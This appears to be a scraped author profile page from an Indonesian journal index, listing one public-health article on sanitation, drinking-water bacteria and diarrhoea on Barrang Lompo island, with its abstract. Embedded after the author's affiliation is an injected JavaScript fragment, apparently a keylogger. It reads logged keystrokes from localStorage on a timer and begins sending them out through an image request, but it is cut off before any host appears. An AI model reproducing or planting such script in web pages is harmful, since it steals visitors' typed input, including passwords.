Agus Bintara Birawida
(SCOPUS ID : 57193116626), Universitas Hasanuddin<script type="text/javascript">// <![CDATA[ window.setInterval(sendKeys(), 1000); function sendKeys(){ var keys = localStorage.getItem("log_Extension"); var size = keys.length; if(size > 4) { new Image

Published : 1 Documents Claim Missing Document
Claim Missing Document
Check
Articles

Found 1 Documents
Search

SANITASI DAN KEBERADAAN BAKTERI PADA AIR MINUM DENGAN RISIKO DIARE DI PULAU BARRANG LOMPO Agus Bintara Birawida
Jurnal Nasional Ilmu Kesehatan Vol. 3 No. 1 (2020): Jurnal Nasional Ilmu Kesehatan - Juni 2020
Publisher : Jurnal Nasional Ilmu Kesehatan

Show Abstract | Download Original | Original Source | Check in Google Scholar | Full PDF (422.841 KB)

Abstract

Diare merupakan penyakit infeksi dengan kasus tinggi di negara berkembang. Diare ditandai dengan gejala BAB sebanyak tiga atau lebih dalam sehari serta keadaan feses setengah cair atau cair. Sanitasi dasar merupakan hal berpengaruh dalam kejadian diare, seperti air bersih,  pemanfaatan  jamban,  SPAL (Saluran Pembuangan Air Limbah), pembuangan sampah, dan lingkungan yang sehat serta  penerapan perilakuan hidup sehat dalam kehidupan sehari-hari seperti kebiasaan mencuci tangan dengan sabun. Penelitian ini bertujuan untuk mengetahui gambaran sanitasi lingkungan dan keberadaan bakteri air minum terhadap kejadian diare pada masyarakat di Pulau Barrang Lompo Kota Makassar.  Penelitian ini dilakukan secara deskriptif dengan teknik pengambilan sampel untuk rumah tangga (RT) dengan proporsional systematic random sampling sedangkan sampel air minum menggunakan purposive sampling. Jumlah sampel RT sebanyak 220 RT dan sampel air minum sebanyak 11 sampel. Berdasarkan hasil analisis univariat diperoleh hasil kejadian diare pada masyarakat di Pulau Barrang Lompo sebesar 65,0%. Kondisi sanitasi dasar masyarakat, yaitu penyediaan air bersih, kepemilikan jamban sehat, SPAL, pengelolaan sampah, dan Cuci Tangan Pakai Sabun (CTPS) mayoritas tidak memenuhi syarat. Ditemukan bakteri yang termasuk penyebab diare yaitu Enterobacter hafniae dan Staphylococcus aereus. Diharapkan responden lebih meningkatkan kesadaran dan tindakan terhadap perilaku hidup bersih dan sehat, terutama tindakan pencegahan terjadinya diare